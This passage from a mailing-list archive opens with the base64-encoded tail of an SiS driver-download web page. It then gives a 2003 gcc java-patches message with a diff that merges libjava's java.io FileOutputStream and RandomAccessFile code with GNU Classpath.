b3BfYmdrXzAxLmdpZiIgaGVpZ2h0PSI2MCI+Jm5ic3A7PC90ZD4NCiAgICAgICAgICA8dGQg aGVpZ2h0PSI0MCIgYWxpZ249InJpZ2h0IiBiZ2NvbG9yPSIjNTI3Qzc4IiBjb2xzcGFuPSI2 Ij4mbmJzcDsgPC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgPHRyPiANCiAgICAgICAg ICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iIzMxNEE0OCIgd2lkdGg9Ijg1Ij48YSBocmVm PSJodHRwOi8vd3d3LnNpcy5jb20vcHJvZHVjdHMvaW5kZXguaHRtIiBvbk1vdXNlT3V0PSJN TV9zd2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zlcj0iTU1fc3dhcEltYWdlKCdJbWFnZTE2 JywnJywnd2VicGFnZV9pbWFnZXMvcHJvZHVjdHNfb24uZ2lmJywxKSIgdGFyZ2V0PSJfdG9w Ij48aW1nIG5hbWU9IkltYWdlMTYiIGJvcmRlcj0iMCIgc3JjPSJ3ZWJwYWdlX2ltYWdlcy9w cm9kdWN0c19vZmYuZ2lmIiB3aWR0aD0iODUiIGhlaWdodD0iMjAiPjwvYT48L3RkPg0KICAg ICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjMzE0QTQ4IiB3aWR0aD0iMTUyIj48 aW1nIHNyYz0id2VicGFnZV9pbWFnZXMvc3VwcG9ydC1kb3dubG9hZHNfb25uLmdpZiIgd2lk dGg9IjE1MiIgaGVpZ2h0PSIyMCI+PC90ZD4NCiAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIg Ymdjb2xvcj0iIzMxNEE0OCIgd2lkdGg9IjYyIj48YSBocmVmPSJodHRwOi8vd3d3LnNpcy5j b20vc2lzaW5mby9pbmRleC5odG0iIG9uTW91c2VPdXQ9Ik1NX3N3YXBJbWdSZXN0b3JlKCki IG9uTW91c2VPdmVyPSJNTV9zd2FwSW1hZ2UoJ0ltYWdlNDknLCcnLCd3ZWJwYWdlX2ltYWdl cy9zaXMtaW5mb19vbi5naWYnLDEpIiB0YXJnZXQ9Il90b3AiPjxpbWcgbmFtZT0iSW1hZ2U0 OSIgYm9yZGVyPSIwIiBzcmM9IndlYnBhZ2VfaW1hZ2VzL3Npcy1pbmZvX29mZi5naWYiIHdp ZHRoPSI2MiIgaGVpZ2h0PSIyMCI+PC9hPjwvdGQ+DQogICAgICAgICAgPHRkIGhlaWdodD0i MjAiIGJnY29sb3I9IiMzMTRBNDgiIHdpZHRoPSIxMDgiPjxhIGhyZWY9Imh0dHA6Ly93d3cu c2lzLmNvbS9uZXdzL2luZGV4Lmh0bSIgb25Nb3VzZU91dD0iTU1fc3dhcEltZ1Jlc3RvcmUo KSIgb25Nb3VzZU92ZXI9Ik1NX3N3YXBJbWFnZSgnSW1hZ2U1MCcsJycsJ3dlYnBhZ2VfaW1h Z2VzL25ld3MtZXZlbnRzX29uLmdpZicsMSkiIHRhcmdldD0iX3RvcCI+PGltZyBuYW1lPSJJ bWFnZTUwIiBib3JkZXI9IjAiIHNyYz0id2VicGFnZV9pbWFnZXMvbmV3cy1ldmVudHNfb2Zm LmdpZiIgd2lkdGg9IjEwOCIgaGVpZ2h0PSIyMCI+PC9hPjwvdGQ+DQogICAgICAgICAgPHRk IGhlaWdodD0iMjAiIGJnY29sb3I9IiMzMTRBNDgiIHdpZHRoPSI5OCI+PGEgaHJlZj0iaHR0 cDovL3d3dy5zaXMuY29tL3doZXJldG9idXkvaW5kZXguaHRtIiBvbk1vdXNlT3V0PSJNTV9z d2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zlcj0iTU1fc3dhcEltYWdlKCdJbWFnZTUxJywn Jywnd2VicGFnZV9pbWFnZXMvd2hlcmUtdG8tYnV5X29uLmdpZicsMSkiIHRhcmdldD0iX3Rv cCI+PGltZyBuYW1lPSJJbWFnZTUxIiBib3JkZXI9IjAiIHNyYz0id2VicGFnZV9pbWFnZXMv d2hlcmUtdG8tYnV5X29mZi5naWYiIHdpZHRoPSI5OCIgaGVpZ2h0PSIyMCI+PC9hPjwvdGQ+ DQogICAgICAgICAgPHRkIGhlaWdodD0iMjAiIGJnY29sb3I9IiMzMTRBNDgiPiZuYnNwOzwv dGQ+DQogICAgICAgIDwvdHI+DQogICAgICA8L3RhYmxlPg0KICAgICAgPHRhYmxlIHdpZHRo PSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgaGVp Z2h0PSIyMSIgYmFja2dyb3VuZD0iaW1hZ2VzL2J1dHRvbl9iYXJfYmdrLmdpZiI+DQogICAg ICAgIDx0cj4gDQogICAgICAgICAgPHRkIHdpZHRoPSIxNTEiPjxpbWcgc3JjPSJpbWFnZXMv dG9wX2Jna18wMi5naWYiIHdpZHRoPSIxNTEiIGhlaWdodD0iMjEiPjwvdGQ+DQogICAgICAg ICAgPHRkIHdpZHRoPSIxOCI+PGltZyBzcmM9ImltYWdlcy90b3BfYmdrXzAzLmdpZiIgd2lk dGg9IjE4IiBoZWlnaHQ9IjIxIj48L3RkPg0KICAgICAgICAgIDx0ZCB3aWR0aD0iMTEzIj4m bmJzcDs8L3RkPg0KICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ1Ij48YSBocmVmPSJqYXZhc2Ny aXB0OjsiIG9uTW91c2VPdXQ9Ik1NX3N3YXBJbWdSZXN0b3JlKCkiIG9uTW91c2VPdmVyPSJN TV9zd2FwSW1hZ2UoJ0ltYWdlMTQnLCcnLCdpbWFnZXMvYnQwMV9vbi5naWYnLDEpIj48aW1n IG5hbWU9IkltYWdlMTQiIGJvcmRlcj0iMCIgc3JjPSJpbWFnZXMvYnQwMV9vZmYuZ2lmIiB3 aWR0aD0iMTQ1IiBoZWlnaHQ9IjE5Ij48L2E+PC90ZD4NCiAgICAgICAgICA8dGQgd2lkdGg9 IjExMyI+PGEgaHJlZj0iZHJpdmVyX3NlbGVjdC5qc3AiIG9uTW91c2VPdXQ9Ik1NX3N3YXBJ bWdSZXN0b3JlKCkiIG9uTW91c2VPdmVyPSJNTV9zd2FwSW1hZ2UoJ0ltYWdlMTUnLCcnLCdp bWFnZXMvYnQwMl9vbi5naWYnLDEpIj48aW1nIG5hbWU9IkltYWdlMTUiIGJvcmRlcj0iMCIg c3JjPSJpbWFnZXMvYnQwMl9vZmYuZ2lmIiB3aWR0aD0iMTEzIiBoZWlnaHQ9IjE5Ij48L2E+ PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSI+PGEgaHJlZj0iamF2 YXNjcmlwdDo7IiBvbk1vdXNlT3V0PSJNTV9zd2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zl cj0iTU1fc3dhcEltYWdlKCdJbWFnZTE3JywnJywnaW1hZ2VzL2J0MDNfb24uZ2lmJywxKSI+ PGltZyBuYW1lPSJJbWFnZTE3IiBib3JkZXI9IjAiIHNyYz0iaW1hZ2VzL2J0MDNfb2ZmLmdp ZiIgd2lkdGg9IjM5IiBoZWlnaHQ9IjE5Ij48L2E+PC90ZD4NCiAgICAgICAgICA8dGQgd2lk dGg9IjQ2Ij4mbmJzcDs8L3RkPg0KICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPg0KICAgICAg ICA8L3RyPg0KICAgICAgPC90YWJsZT4NCiAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9y ZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGhlaWdodD0iNTEiPg0K ICAgICAgICA8dHI+IA0KICAgICAgICAgIDx0ZCB3aWR0aD0iMTUxIiBhbGlnbj0ibGVmdCIg dmFsaWduPSJ0b3AiPiANCiAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTUwIiBib3JkZXI9 IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgaGVpZ2h0PSI1MSI+DQogICAg ICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWFnZXMv c3VwcG9ydF9waG90by5naWYiIHdpZHRoPSIxNTAiIGhlaWdodD0iNTEiPjwvdGQ+DQogICAg ICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgIDwvdGQ+ DQogICAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0i aW1hZ2VzL2NfYmdrLmdpZiI+IA0KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI1MDAiIGJv cmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBoZWlnaHQ9IjUxIj4N CiAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOCIg d2lkdGg9IjUiPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Yj4gPC9iPjwvZm9udD48L3RkPg0K ICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIiBjbGFzcz0ibGlu a19mb250cyI+PGI+PGEgaHJlZj0iaHR0cDovL3d3dy5zaXMuY29tL2luZGV4Lmh0bWwiPkhv bWU8L2E+PC9iPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Yj4gDQogICAgICAgICAgICAgICAg ICAmZ3Q7IDxmb250IGNvbG9yPSIjRjk2OTAwIj5Eb3dubG9hZCBDZW50ZXI8L2ZvbnQ+PC9i PjwvZm9udD48L3RkPg0KICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICA8dHI+ IA0KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0idWlfaW1hZ2Vz L3RpdGxlX2ZvbnRzX2RjLmdpZiIgd2lkdGg9IjQwMCIgaGVpZ2h0PSIyOSI+PC90ZD4NCiAg ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDwvdGFibGU+DQogICAgICAgICAgPC90 ZD4NCiAgICAgICAgPC90cj4NCiAgICAgIDwvdGFibGU+DQogICAgICA8dGFibGUgd2lkdGg9 IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBoZWln aHQ9IjEwMCUiPg0KICAgICAgICA8dHI+IA0KICAgICAgICAgIDx0ZCB3aWR0aD0iMTUxIiBh bGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFNUVCRUIiIGNsYXNzPSJsaW5r X2ZvbnRzIj4gDQogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjE1MCIgYm9yZGVyPSIwIiBj ZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGhlaWdodD0iMTIwIj4NCiAgICAgICAg ICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0i dG9wIj48aW1nIHNyYz0iaW1hZ2VzL3JlbGF0ZWRfYmdrLmdpZiIgd2lkdGg9IjE1MCIgaGVp Z2h0PSIxNTAiPjwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8L3Rh YmxlPg0KICAgICAgICAgICAgPGJyPiA8L3RkPg0KICAgICAgICAgIDx0ZCB3aWR0aD0iNjEw IiB2YWxpZ249InRvcCI+IA0KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI0NjAiIGJvcmRl cj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBoZWlnaHQ9IjE4Ij4NCiAg ICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICA8dGQ+PGEgbmFtZT0idG9wIiBp ZD0idG9wIj48L2E+PC90ZD4NCiAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDwv dGFibGU+DQogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2Vs bHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCiAgICAgICAgICAgICAgPHRyPiANCiAg ICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwIiB2YWxpZ249InRvcCI+PGltZyBzcmM9InVp X2ltYWdlcy9zcGFjZXIuZ2lmIiB3aWR0aD0iMTAiIGhlaWdodD0iMjAiPjwvdGQ+DQogICAg ICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJ1aV9pbWFnZXMvYmFy X2NvbnRlbnRfYmdfMDMuZ2lmIj4gDQogICAgICAgICAgICAgICAgICA8VEFCTEUgaGVpZ2h0 PTIwIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0xMDAlIA0KICAgICAgICAg ICAgYmdDb2xvcj0jNGY3Njc3IGJvcmRlcj0wPg0KICAgICAgICAgICAgICAgICAgICA8VFI+ IA0KICAgICAgICAgICAgICAgICAgICAgIDxURCB3aWR0aD0xNT4gPERJViBhbGlnbj1yaWdo dD48SU1HIGhlaWdodD0xNSANCiAgICAgICAgICAgICAgICAgIHNyYz0idWlfaW1hZ2VzL3Rp dGxlX2l0ZW1fMDEuZ2lmIiANCiAgICAgICAgICAgICAgICAgIHdpZHRoPTE1PjwvRElWPjwv VEQ+DQogICAgICAgICAgICAgICAgICAgICAgPFREIGNsYXNzPSJ0aXRsZV8wMSI+U3BlY2lm aWMgTm90aWNlIEZvciBEcml2ZXJzIEF2YWlsYWJsZSANCiAgICAgICAgICAgICAgICAgICAg ICAgIE9uIERvd25sb2FkIENlbnRlciA8L1REPg0KICAgICAgICAgICAgICAgICAgICAgIDxU RCB3aWR0aD0iNjAiIGNsYXNzPSJ0aXRsZV8wMSI+PEI+IDwvQj48L1REPg0KICAgICAgICAg ICAgICAgICAgICAgIDxURCB3aWR0aD0iMTAiIGNsYXNzPSJ0aXRsZV8wMSI+PGltZyBzcmM9 InVpX2ltYWdlcy9zcGFjZXIuZ2lmIiB3aWR0aD0iMTAiIGhlaWdodD0iMjAiPjwvVEQ+DQog ICAgICAgICAgICAgICAgICAgIDwvVFI+DQogICAgICAgICAgICAgICAgICA8L1RBQkxFPg0K ICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxw YWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMCIgY2xhc3M9ImNvbnRlbnRfdHgiPg0KICAgICAg ICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZD5XZSBtYWtl IGNoaXBzZXRzIGZvciBNYWluYm9hcmQvVkdBIGNhcmRzIGFuZCBuZXZlciBtYW51ZmF0dXJl IA0KICAgICAgICAgICAgICAgICAgICAgICAgdGhlc2UgYm9hcmRzIG9yIGNhcmRzLlJldGFp bCBtYW51ZmFjdHVyZXIgb2Z0ZW4gY3VzdG9taXplIA0KICAgICAgICAgICAgICAgICAgICAg ICAgU2lTJ3MgY2hpcHNldCBoYXJkd2FyZSBhbmQgc29mdHdhcmUgZm9yIHRoZWlyIHBhcnRp Y3VsYXIgDQogICAgICAgICAgICAgICAgICAgICAgICBzeXN0ZW0gb3IgY29uZmlndXJhdGlv biwgc28gZHJpdmVycyBvbiB0aGlzIHNpdGUgbWF5IG5vdCANCiAgICAgICAgICAgICAgICAg ICAgICAgIHdvcmsgd2l0aCB5b3VyIHN5c3RlbS4gPHA+WW91ciBtYW51ZmFjdHVyZXIgaXMg dGhlIGJlc3QgDQogICAgICAgICAgICAgICAgICAgICAgICAgIHNvdXJjZSBvZiBpbmZvcm1h dGlvbiBmb3IgcHJvZHVjdCBpbmZvcm1hdGlvbiBhbmQgc3VwcG9ydC4gDQogICAgICAgICAg ICAgICAgICAgICAgICAgIFBsZWFzZSBvYnRhaW4gdGVjaG5pY2FsIGFzc2lzdGFuY2UgZnJv bSB5b3VyIGJvYXJkIG9yIA0KICAgICAgICAgICAgICAgICAgICAgICAgICBjYXJkIG1hbnVm YWN0dXJlcnMgYmVmb3JlIGluc3RhbGxpbmcgU2lTIGRyaXZlcnMuIDwvcD4NCiAgICAgICAg ICAgICAgICAgICAgICAgIDxwPlNpUyBjYW4gbm90IGFuc3dlciBzeXN0ZW0gcmVsYXRlZCBx dWVzdGlvbnMgb3Igc2V0dXAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIG9mIHNvZnR3 YXJlIHNoaXBwZWQgd2l0aCB5b3VyIHByb2R1Y3RzLiBUaGVyZWZvcmUgd2UgDQogICAgICAg ICAgICAgICAgICAgICAgICAgIGRvbid0IGd1YXJhbnRlZSB0aGVzZSBkcml2ZXJzIHdpbGwg d29yayBmaW5lIG9uIHlvdXIgDQogICAgICAgICAgICAgICAgICAgICAgICAgIGN1c3RvbWl6 ZWQgc3lzdGVtcyBhbmQgd2UgYXNzdW1lIG5vIHJlc3BvbnNpYmlsaXR5IGZvciANCiAgICAg ICAgICAgICAgICAgICAgICAgICAgYW55IHByb2JsZW1zIHdoaWNoIG1heSBvY2N1ciB0byB5 b3VyIHN5c3RlbSB1cG9uIHRoZSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgaW5zdGFs bGF0aW9uIG9mIFNpUyBkcml2ZXJzLi48L3A+DQogICAgICAgICAgICAgICAgICAgICAgICA8 cCBhbGlnbj0icmlnaHQiPjxpbWcgc3JjPSJ1aV9pbWFnZXMvYm5fZ28uZ2lmIiB3aWR0aD0i MjAiIGhlaWdodD0iMjAiIGFsaWduPSJ0b3AiPiANCiAgICAgICAgICAgICAgICAgICAgICAg ICAgPGEgaHJlZj0iZHJpdmVyX3NlbGVjdC5qc3AiPjxpbWcgc3JjPSJ1aV9pbWFnZXMvYm5f ZHJpdmVyc19kbF9vZmYuZ2lmIiBuYW1lPSJibl9kcml2ZXJzX2RsIiB3aWR0aD0iMjcxIiBo ZWlnaHQ9IjIzIiBib3JkZXI9IjAiIGlkPSJibl9kcml2ZXJzX2RsIiBvbk1vdXNlT3Zlcj0i TU1fc3dhcEltYWdlKCdibl9kcml2ZXJzX2RsJywnJywndWlfaW1hZ2VzL2JuX2RyaXZlcnNf ZGxfb24uZ2lmJywxKSIgb25Nb3VzZU91dD0iTU1fc3dhcEltZ1Jlc3RvcmUoKSI+PC9hPjxC Uj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvcD48L3RkPg0KICAgICAgICAgICAgICAg ICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgICAg ICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2Vs bHNwYWNpbmc9IjAiPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAg ICAgICAgICAgIDx0ZCB3aWR0aD0iMTAwIiBiYWNrZ3JvdW5kPSJ1aV9pbWFnZXMvYmFyX2Nv bnRlbnRfbGluZV8wMS5naWYiPjxpbWcgc3JjPSJ1aV9pbWFnZXMvc3BhY2VyLmdpZiIgd2lk dGg9IjEwIiBoZWlnaHQ9IjEwIj48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0K ICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPg0KICAgICAgICAgICAgICA8L3RyPg0K ICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgPHRk IGJhY2tncm91bmQ9ImltYWdlcy9saW5lXzA1LmdpZiI+Jm5ic3A7PC90ZD4NCiAgICAgICAg PC90cj4NCiAgICAgIDwvdGFibGU+DQogICAgPC90ZD4NCiAgPC90cj4NCiAgPHRyPiANCiAg ICA8dGQgYmFja2dyb3VuZD0iaW1hZ2VzL2xheV9iZ2suZ2lmIiBhbGlnbj0ibGVmdCIgdmFs aWduPSJ0b3AiPg0KICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxz cGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgaGVpZ2h0PSIyNSI+DQogICAgICAgIDx0cj4g DQogICAgICAgICAgPHRkIHdpZHRoPSI2MiIgaGVpZ2h0PSIyNSIgYWxpZ249ImxlZnQiIHZh bGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNpcy5jb20vcHJpdmFjeS9pbmRleC5o dG0iIG9uTW91c2VPdXQ9Ik1NX3N3YXBJbWdSZXN0b3JlKCkiIG9uTW91c2VPdmVyPSJNTV9z d2FwSW1hZ2UoJ0ltYWdlNycsJycsJ2ltYWdlcy9wcml2YWN5X29uLmdpZicsMSkiIHRhcmdl dD0iX3RvcCI+PGltZyBuYW1lPSJJbWFnZTciIGJvcmRlcj0iMCIgc3JjPSJpbWFnZXMvcHJp dmFjeV9vZmYuZ2lmIiB3aWR0aD0iNjIiIGhlaWdodD0iMTkiPjwvYT48L3RkPg0KICAgICAg ICAgIDx0ZCB3aWR0aD0iMTA1IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9 Imh0dHA6Ly93d3cuc2lzLmNvbS90ZXJtc29mdXNlL2luZGV4Lmh0bSIgb25Nb3VzZU91dD0i TU1fc3dhcEltZ1Jlc3RvcmUoKSIgb25Nb3VzZU92ZXI9Ik1NX3N3YXBJbWFnZSgnSW1hZ2U4 JywnJywnaW1hZ2VzL3Rlcm1zLW9mLXVzZV9vbi5naWYnLDEpIiB0YXJnZXQ9Il90b3AiPjxp bWcgbmFtZT0iSW1hZ2U4IiBib3JkZXI9IjAiIHNyYz0iaW1hZ2VzL3Rlcm1zLW9mLXVzZV9v ZmYuZ2lmIiB3aWR0aD0iMTAyIiBoZWlnaHQ9IjE5Ij48L2E+PC90ZD4NCiAgICAgICAgICA8 dGQ+IA0KICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiIGNsYXNzPSJjb3B5cmlnaHRf Zm9udHMiPkFsbCBSaWdodHMgUmVzZXJ2ZWQuIENvcHlyaWdodCANCiAgICAgICAgICAgICAg JmNvcHk7IFNpbGljb24gSW50ZWdyYXRlZCBTeXN0ZW1zIENvcnBvcmF0aW9uLjwvZGl2Pg0K ICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgPHRkIHdpZHRoPSIxMCI+IA0KICAgICAgICAg ICAgPGRpdiBhbGlnbj0icmlnaHQiIGNsYXNzPSJjb3B5cmlnaHRfZm9udHMiPjwvZGl2Pg0K ICAgICAgICAgIDwvdGQ+DQogICAgICAgIDwvdHI+DQogICAgICA8L3RhYmxlPg0KICAgIDwv dGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPGRpdiBpZD0iTGF5ZXIxIiBzdHlsZT0icG9zaXRp b246YWJzb2x1dGU7IGxlZnQ6N3B4OyB0b3A6MTUzcHg7IHdpZHRoOjE0MDsgaGVpZ2h0OjE5 OyB6LWluZGV4OjEiPjxiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2lzLmNvbS9kZHIvZGRyX3Zh bGlkYXRpb24uaHRtIiBjbGFzcz0ibGVmdF9idXR0b25fZm9udCIgdGFyZ2V0PSJfdG9wIj5N ZW1vcnkgDQogIFZhbGlkYXRpb248L2E+PC9iPjwvZGl2Pg0KPGRpdiBpZD0iTGF5ZXIyIiBz dHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6N3B4OyB0b3A6MTczcHg7IHdpZHRoOjE0 MDsgaGVpZ2h0OjE5OyB6LWluZGV4OjIiPjxiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2lzLmNv bS9jb250YWN0L2luZGV4Lmh0bSIgY2xhc3M9ImxlZnRfYnV0dG9uX2ZvbnQiIHRhcmdldD0i X3RvcCI+Q29udGFjdCANCiAgSW5mb3JtYXRpb248L2E+PC9iPjwvZGl2Pg0KPGRpdiBpZD0i TGF5ZXIzIiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6N3B4OyB0b3A6MTk0cHg7 IHdpZHRoOjE0MDsgaGVpZ2h0OjE5OyB6LWluZGV4OjMiPjxiPjxhIGhyZWY9Imh0dHA6Ly93 d3cuc2lzLmNvbS9uZXdzL3Jldmlld3MuaHRtIiBjbGFzcz0ibGVmdF9idXR0b25fZm9udCIg dGFyZ2V0PSJfdG9wIj4gDQogIFJldmlld3M8L2E+PC9iPjwvZGl2Pg0KPC9ib2R5Pg0KPC9o dG1sPg0K --HSAi2F0Uq1y666K6K23073d4ZF9-- From java-patches-return-6600-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 28 09:00:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13891 invoked by alias); 28 Mar 2003 09:00:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13882 invoked from network); 28 Mar 2003 09:00:38 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by sources.redhat.com with SMTP; 28 Mar 2003 09:00:38 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-74-126.ewetel.net [80.228.74.126]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2S90adx007208 for ; Fri, 28 Mar 2003 10:00:36 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18yphK-00034R-00 for ; Fri, 28 Mar 2003 09:58:50 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io - just more merging Date: Fri, 28 Mar 2003 10:02:13 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_V+Ah+2TtaRvz9pY" Message-Id: <200303281002.13521.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_V+Ah+2TtaRvz9pY Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached path to trunk to merge java.io more with=20 classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+hA+VWSOgCCdjSDsRAhcPAJ0YZ3ROn/cANgy4cQZf6BGdjyHhOQCfb/LH 4f7r9tSu8Pj5ZzIr0gDbmTQ=3D =3DqyYc =2D----END PGP SIGNATURE----- --Boundary-00=_V+Ah+2TtaRvz9pY Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1817 diff -u -r1.1817 ChangeLog =2D-- ChangeLog 26 Mar 2003 22:31:52 -0000 1.1817 +++ ChangeLog 28 Mar 2003 08:59:10 -0000 @@ -1,3 +1,14 @@ +2003=AD03-28 Michael Koch + + * java/io/FileOutputStream.java: + Merged class documentation and authors with classpath. + (FileOutputStream): Partly merged with classpath. + (write): Merged with classpath. + (getChannel): Make it synchronized instead of explicit block in this + method. + * java/io/RandomAccessFile.java: + Merged class documentation and authors with classpath. + 2003-03-26 Tom Tromey =20 * java/lang/natRuntime.cc (insertSystemProperties): Set Index: java/io/FileOutputStream.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvs/gcc/gcc/libjava/java/io/FileOutputStream.java,v retrieving revision 1.11 diff -u -r1.11 FileOutputStream.java =2D-- java/io/FileOutputStream.java 25 Mar 2003 13:06:52 -0000 1.11 +++ java/io/FileOutputStream.java 28 Mar 2003 08:59:10 -0000 @@ -47,8 +47,11 @@ */ =20 /** + * This classes allows a stream of data to be written to a disk file or + * any open FileDescriptor. + * + * @author Aaron M. Renn * @author Tom Tromey =2D * @date September 24, 1998=20 */ public class FileOutputStream extends OutputStream { @@ -174,9 +177,15 @@ public FileOutputStream (FileDescriptor fdObj) throws SecurityException { + // Hmm, no other exception but this one to throw, but if the descriptor + // isn't valid, we surely don't have "permission" to write to it. + if (!fdObj.valid()) + throw new SecurityException("Invalid FileDescriptor"); + SecurityManager s =3D System.getSecurityManager(); if (s !=3D null) s.checkWrite(fdObj); + fd =3D fdObj; } =20 @@ -221,9 +230,10 @@ * * @exception IOException If an error occurs */ =2D public void write (byte[] b) throws IOException, NullPointerException + public void write (byte[] buf) + throws IOException { =2D fd.write (b, 0, b.length); + fd.write (buf, 0, buf.length); } =20 